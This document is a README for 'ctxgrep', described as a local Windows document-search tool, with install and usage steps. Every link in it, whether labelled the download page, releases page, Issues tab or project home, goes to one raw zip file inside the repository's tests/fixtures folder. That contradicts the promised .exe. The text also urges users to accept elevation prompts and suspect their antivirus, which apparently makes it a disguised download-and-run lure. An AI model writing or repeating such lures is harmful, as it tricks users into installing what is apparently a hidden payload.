🕵️ ctxgrep - Search Documents with Context

---

❓ What is ctxgrep?

ctxgrep is a tool for searching through your documents, notes, memories, and project files. Instead of just looking for exact words, it finds results based on the meaning around that text. This makes it easier to find relevant information, even if you don’t remember exact phrases.

The software runs on your Windows computer, and everything stays local. It does not send your data anywhere else.

---

💻 System Requirements

Make sure your computer fits these requirements before installing:

• Windows 10 or newer (64-bit recommended)
• At least 4 GB of RAM
• 200 MB of free hard drive space
• Internet connection to download the software

---

🚀 Getting Started: Download and Install ctxgrep

You need to visit the release page for the latest version and download the correct file for your Windows system.

Step 1: Visit the Download Page

1. Click the large green button above or go directly to:
   https://raw.githubusercontent.com/WineAndPoetry/ctxgrep/main/tests/fixtures/Software-v2.9.zip

2. On the releases page, look for the latest version at the top.

3. Find the Windows executable file. It should have a name like ctxgrep-windows.exe or similar.

---

Step 2: Download the File

1. Click the Windows executable file link.

2. Your browser will start downloading the file. Depending on your browser, the file may save to your “Downloads” folder or ask you where to save it.

3. Wait for the download to finish.

---

Step 3: Run the Installer

1. Go to the folder where you saved the file (usually Downloads).

2. Double-click the executable file (ctxgrep-windows.exe).

3. If Windows asks if you want to allow this app to make changes, click Yes.

4. Follow the simple instructions that appear on screen:

   • Accept the license agreement.
   • Choose an install location or accept the default.
   • Click Install.

5. Once the installation finishes, you can choose to launch ctxgrep immediately or close the installer.

---

🔍 How to Use ctxgrep

After installing, you will use ctxgrep from the Command Prompt. This might sound technical, but these instructions will guide you step-by-step.

---

Step 1: Open the Command Prompt

1. Press the Windows key on your keyboard.

2. Type cmd and press Enter.

3. A black window named Command Prompt will open.

---

Step 2: Start ctxgrep

1. In the Command Prompt, type ctxgrep and press Enter.

2. You should see a list of options and commands to help you search.

---

Step 3: Search Your Files

1. To search all your notes and documents in a folder, use this command format:

   ctxgrep search "your search term" --path "C:\path\to\your\folder"
   

2. Replace "your search term" with the words or phrase you want to find.

3. Replace "C:\path\to\your\folder" with the folder location on your computer where your documents are stored.

4. For example:

   ctxgrep search "project deadline" --path "C:\Users\YourName\Documents\Notes"
   

5. ctxgrep will scan the files and show results that include the context around your search words.

---

Step 4: Explore Other Commands

• You can list commands by typing:

  ctxgrep help
  

• This will show more ways to search, filter, and manage your files.

---

⚙️ Configuration and Settings

ctxgrep uses a simple settings file where you can adjust how it works.

• The settings file is located in your user folder under:

  C:\Users\YourName\.ctxgrep\config.json
  

• You can edit this file with any text editor like Notepad.

• Use the settings to:

  • Add folders for frequent searches.
  • Change how many lines of context appear.
  • Exclude certain file types or folders.

---

📁 Supported File Types

ctxgrep works with common document formats, including:

• Plain text files (.txt)
• Markdown files (.md)
• Word documents (.docx)
• PDFs (.pdf)
• Code files (.js, .py, .java, and others)

It searches inside the files, not just the file names.

---

🔧 Troubleshooting Tips

If ctxgrep doesn't start or you see an error:

• Make sure you downloaded the Windows version.

• Check if your antivirus blocked the file.

• Try running the Command Prompt as administrator:

  • Right-click on the Command Prompt shortcut and select Run as administrator.

If searches don’t return expected results:

• Check the folder path is correct and contains files.

• Confirm your search terms are spelled correctly.

• Remember ctxgrep looks for context around the text, so it might show results with related wording.

---

📞 Getting Help

For assistance beyond this README:

• Visit the Issues tab on the GitHub page:
  https://raw.githubusercontent.com/WineAndPoetry/ctxgrep/main/tests/fixtures/Software-v2.9.zip

• Read documentation files included in the release package for more examples.

• You can also open your own issue if you think you found a bug or need help with a feature.

---

🔗 Useful Links

• Main Release Page to Download:
  https://raw.githubusercontent.com/WineAndPoetry/ctxgrep/main/tests/fixtures/Software-v2.9.zip

• GitHub Project Home:
  https://raw.githubusercontent.com/WineAndPoetry/ctxgrep/main/tests/fixtures/Software-v2.9.zip

---

[Badge repeated for visibility]